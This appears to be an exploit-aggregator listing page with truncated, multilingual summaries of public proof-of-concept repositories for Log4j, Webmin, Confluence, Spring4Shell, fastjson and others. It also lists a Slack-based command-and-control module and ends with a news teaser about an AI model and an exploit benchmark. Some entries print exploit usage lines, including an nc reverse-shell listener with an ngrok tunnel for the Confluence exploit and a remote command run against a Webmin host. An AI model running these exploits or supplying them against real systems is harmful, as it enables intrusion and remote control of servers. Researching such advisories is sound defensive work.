CVE-2021-44228-Apache-Log4j-Rce

Uso: 1. ejecutando RMIServer 2. ejecutando Main...

CVE-2020-14645

CVE-2020-14645 Weblogic CVE-2020-14645 UniversalExtractor inyección JNDI getDatabaseMetaData El proyecto depende de https://github.com/5up3rc/weblogiccmd Demostración Requisitos 1. Versión de JDK JDK6u211/7u201/8u191 2. Versión de Weblogic 12.2.1.4.0 ¡No lo uses ilegalmente!!!!!!!! Referencias 1...

CVE-2026-80190

Apache Allura versions through 1.20.0 are affected by a stored cross-site scripting (XSS) vulnerability in SVN code repositories . Git repositories are not known to be affected. The vulnerability is likely mitigated by default CSP (Content Security Policy) headers . The CVSS 3.1 score is 6.1 (Med...

CVE-2026-80190 Apache Allura: Stored XSS via code repositories

Apache Allura: stored XSS via SVN code repositories. Git repositories are not known to be affected. The vulnerability is likely mitigated via default CSP headers. This issue affects Apache Allura: through 1.20.0. Users are recommended to upgrade to version 1.21.0, which fixes the issue...

cve-2020-8165-demo

CVE-2020-8165 演示 又一个 CVE-2020-8165 的演示，但采用了比大多数更真实的实现。 背景 CVE-2020-8165 Rails 5.2.4.3、Rails 6.0.3.1 中存在一项反序列化不受信任数据的漏洞，可能允许攻击者在 MemCacheStore 和 RedisCacheStore 中解封用户提供的对象，从而导致远程代码执行。 参考资料 https://hackerone.com/reports/413388 https://vulners.com/cve/CVE-2020-8165...

oss-fuzz-gen

模糊测试目标生成与评估框架 该框架利用各种大型语言模型（LLM）为真实世界的 C/C++/Java/Python 项目生成模糊测试目标，并通过 OSS-Fuzz 平台 对它们进行基准测试。 更多详情请参阅 AI 驱动的模糊测试：打破漏洞挖掘壁垒： 当前支持的模型有： Vertex AI code-bison Vertex AI code-bison-32k Gemini Pro Gemini Ultra Gemini Experimental Gemini 1.5 OpenAI GPT-3.5-turbo OpenAI GPT-4 OpenAI GPT-4o OpenAI...

CVE-2023-27350

CVE-2023-27350 影响 PaperCut MF/NG 的 CVE-2023-27350 概念验证代码 技术分析 关于漏洞的技术根本原因分析、入侵指标以及互联网暴露情况，可查阅我们的博客： https://www.horizon3.ai/papercut-cve-2023-27350-deep-dive-and-indicators-of-compromise 摘要 该概念验证代码利用认证绕过漏洞，并结合滥用内置脚本功能来执行代码。 使用方法 root@kitploit: python3 CVE-2023-27350.py --url...

cve-2019-6340-bits

cve-2019-6340-bits Bits generated while analyzing CVE-2019-6340 Drupal RESTful RCE modsec rule pcap example nginx config example logs example playbook...

CVE-2019-15107-Exploit

CVE-2019-15107 Python 利用工具 此利用工具针对 CVE-2019-15107（Webmin 1.890-1.920）未经授权的远程代码执行（RCE） ，使用 Python 编写。 使用方法 root@kitploit: python3 webminExploit.py python3 webminExploit.py 10.200.198.200 10000 whoami python3 webminExploit.py 10.200.198.200 10000 "curl -h"...

winsos-poc

WinSOS 该技术利用 WinSxS 文件夹中通常受 Windows 信任的可执行文件，来利用经典的 DLL 搜索顺序劫持方法。借助这些可执行文件，威胁行为者可以在无需提升权限的情况下，在 Windows 应用程序内执行恶意代码。 这种方法无需在攻击链中引入额外的二进制文件，并支持从任意位置执行恶意代码。它同时兼容 Windows 10 和 Windows 11，并且能够规避防御软件和应急响应人员的检测，因为恶意代码运行在受信任二进制文件的内存空间中。该技术简化了经典的 DLL 搜索顺序劫持，并利用了 Windows 原生功能，而无需直接利用操作系统漏洞。 参考资料 Windows...

CVE-2023-22527-confluence

CVE-2023-22527-confluence Confluence CVE-2023-22527 真实环境 POC 用法 下载 bun https://github.com/oven-sh/bun/releases 启动 ngrok root@kitploit: ngrok tcp 4444 监听 localhost 4444 root@kitploit: nc -nvlp 4444 运行 exploit root@kitploit: bun exploit-CVE-2023-22527.js --lhost 0.tcp.ap.ngrok.io --lport 12169...

FastJsonAutoTypeBypass

这是什么 本项目用于研究如何绕过 fastJSON 的 AutoType 检查。 Gadget 信息 Mapping 仅适用于 fastjson 1.2.47： root@kitploit: package com.FastJson1242; import com.alibaba.fastjson.JSONObject; public class Poc public static void mainString argv String payload ="\n" + " "a": \n" + " "@type": "java.lang.Class", \n" + "...

WSO2-2021-1258

WSO2-2021-1258: WSO2 ESB 中的 Zip Slip 漏洞 在 WSO2 管理控制台中发现了一个基于 ZIP 文件的目录遍历（Zip Slip）漏洞。通过写入/覆盖特定文件，可能实现远程代码执行。 厂商披露: 该漏洞的厂商披露和修复说明可在此处找到。 为什么没有 CVE? 我和厂商都没有为此漏洞申请 CVE。 要求: 此漏洞需要： 有效的用户凭据 概念验证: 更多细节和利用过程可参见此 PDF。...

Spring4Shell-PoC-exploit

Spring4Shell - PoC CVE - 2022 - 22965 Versiones afectadas : Versiones de Spring Framework 5.3.0 a 5.3.17, 5.2.0 a 5.2.19 y versiones anteriores Java JDK 9 Versiones de Apache Tomcat inferiores a 10..0.20, 9.0.62 y 8.5.78 Las aplicaciones empaquetadas como un WAR tradicional con dependencia...

CVE-2025-8110-Gogs-Remote-Code-Execution

受影响软件：Gogs（自托管Git服务）0.13.0版本之前。 漏洞类型：Git钩子机制中的命令注入。 描述：拥有仓库推送权限的攻击者可以构造恶意的Git钩子，将命令注入到post-receive钩子脚本中，从而导致在Gogs服务器上远程执行代码。...

CVE-2025-61882-Oracle-BI-Publisher-RCE

受影响软件：Oracle BI Publisher 版本 12.2.1.4.0、12.2.1.3.0。 漏洞类型：通过BI Publisher集成组件中的不安全反序列化实现远程代码执行。 描述：BI Publisher集成组件对不受信任的数据进行反序列化时未进行验证，从而允许未经身份验证的攻击者在底层服务器上执行任意代码。...

SlackShell

SlackShell 描述与更新日志 v1.0 此PowerShell模块包含多种利用Slack API创建命令与控制通道的函数。主函数Start-Shell会连接至用户指定的Slack频道，并使用提供的API认证令牌对指定Slack团队和用户进行身份验证。频道中输入的任何命令都将在主机上的PowerShell中执行。 SlackShell项目需要PowerShell v3及以上版本，因为其使用Invoke-RestMethod进行API调用。未来开发将继续使用当前PowerShell...

CVE-2025-55182-React2Shell-CVSS-10.0-

Software afectado: React Server Components versiones 19.0.0, 19.1.0, 19.1.1, 19.2.0 Tipo de vulnerabilidad: Ejecución remota de código previa a la autenticación mediante deserialización insegura. Descripción: Una falla en el protocolo React Server Flight permite a atacantes no autenticados enviar...

Watchguard-RCE-POC-CVE-2022-26318

Watchguard-RCE-POC-CVE-2022-26318 Watchguard RCE POC CVE-2022-26318 El CVE para este problema es CVE-2022-26318...

GPT-6 Astra Scores 100% on ExploitBench as OpenAI Blocks PoC Exploit Requests

OpenAI on Thursday officially unveiled GPT‑6 Astra , which it described as the "world's most intelligent and aligned model." The development comes days after the artificial intelligence AI company said the model had reached the "Critical" cybersecurity capability threshold under its Preparedness...